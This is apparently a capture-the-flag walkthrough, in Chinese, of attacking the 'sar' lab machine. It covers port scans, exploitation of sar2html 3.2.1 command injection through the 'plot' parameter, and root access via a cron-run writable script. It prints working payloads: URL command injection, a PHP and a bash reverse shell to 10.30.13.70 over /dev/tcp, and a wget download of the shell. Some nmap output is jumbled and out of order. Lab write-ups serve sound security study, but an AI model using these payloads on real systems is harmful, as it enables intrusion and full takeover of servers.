16-sar

目标：10.30.13.219

##端口扫描
tcp端口

```
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:63:98:3B (Oracle VirtualBox virtual NIC)
```

UDP端口

```
PORT    STATE         SERVICE
|_http-title: Apache2 Ubuntu Default Page: It works
80/tcp  open          http
|MAC Address: 08:00:27:63:98:3B (Oracle VirtualBox virtual NIC)
68/udp  open|filtered dhcpc
|Warning: OSScan results may be unreliable because we could not find at least 1 open and
631/udp open|filtered ipp
|1 closed port
MAC Address: 08:00:27:63:98:3B (Oracle VirtualBox virtual NIC)
```

服务和系统探测

```

Nmap scan report for 10.30.13.219
|PORT    STATE  SERVICE VERSION
Host is up (0.00028s latency).
|68/tcp  closed dhcpc
Not shown: 19 closed tcp ports (conn-refused), 18 closed udp ports (port-unreach)
|80/tcp  open   http    Apache httpd 2.4.29 ((Ubuntu))
PORT    STATE         SERVICE
|_http-server-header: Apache/2.4.29 (Ubuntu)
80/tcp  open          http
|_http-title: Apache2 Ubuntu Default Page: It works
68/udp  open|filtered dhcpc
|631/tcp closed ipp
631/udp open|filtered ipp
|MAC Address: 08:00:27:63:98:3B (Oracle VirtualBox virtual NIC)
MAC Address: 08:00:27:63:98:3B (Oracle VirtualBox virtual NIC)
|Device type: general purpose
```

```
|Running: Linux 4.X|5.X
Nmap done: 1 IP address (1 host up) scanned in 29.34 seconds
|OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5

|OS details: Linux
```

##漏洞扫结果

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 03:40 GMT
Not shown: 19 closed tcp ports (conn-refused), 18 closed udp ports (port-unreach)
|Nmap scan report for 10.30.13.219
PORT    STATE         SERVICE
|Host is up (0.00031s latency).
80/tcp  open          http
|
68/udp  open|filtered dhcpc
|PORT   STATE SERVICE
631/udp open|filtered ipp
|80/tcp open  http
MAC Address: 08:00:27:63:98:3B (Oracle VirtualBox virtual NIC)
||_http-dombased-xss: Couldn't find any DOM based XSS.

||_http-csrf: Couldn't find any CSRF vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 29.34 seconds
||_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

|| http-enum:
                    ||   /robots.txt: Robots file
```

##思考
只开了一个80，没扫出版本信息，直接目标扫描

##80

```
robots.txt目录下发现一个页面
该页面获取到版本信息sar2html Ver 3.2.1

#搜索到两个漏洞
searchsploit sar2html
-------------------------------------------------------------------------------
--------------------------------------------------- ----------------------------
---
 Exploit Title
```

```
|  Path
------------------------------------------------------------------------------------------
---------------------------------------------------- -----------------------------
---
sar2html 3.2.1 - 'plot' Remote Code Execution
| php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution
| php/webapps/47204.txt
------------------------------------------------------------------------------------------
---------------------------------------------------- -----------------------------
---
Shellcodes: No Results



#利用成功payload
http://10.30.13.219/sar2HTML/index.php?plot=NEW;cat%20/etc/passwd
回显点在 seletc host选项
```

##user

```
准备好的php反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.30.13.70/2233 0>&1'"); ?>

让人下载该shell
python3 -m http.server 8080

本机监听
nc -lvnp 22333

payload
http://10.30.13.219/sar2HTML/index.php?plot=;wget http://10.30.13.70:8080/shell.txt -O
shell.php

访问payload
http://10.30.13.219/sar2HTML/w.php

#监听器获得user
www-data@sar:/var/www/html/sar2HTML$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@sar:/var/www/html/sar2HTML$ whoami
www-data
```

##提权

定时任务提权

```
cat /etc/cron*
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh
```

系统每五分钟以root权限执行一个脚本

finally.sh脚本我们没有写入权，但该脚本内又执行了write.sh脚本，而这脚本我们有写入权限

弹shell准备：

开启监听器

```
nc -lnvp 3344
```

写入payload

```
/bin/bash -c 'bash -i >& /dev/tcp/10.30.13.70/3344 0>&1'
```

```
##root
```

等待计划任务执行后成功拿shell

```
└──# nc -lnvp 3344
listening on [any] 3344 ...
connect to [10.30.13.70] from (UNKNOWN) [10.30.13.219] 34482
bash: cannot set terminal process group (1438): Inappropriate ioctl for device
bash: no job control in this shell
root@sar:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# whoami
whoami
root
```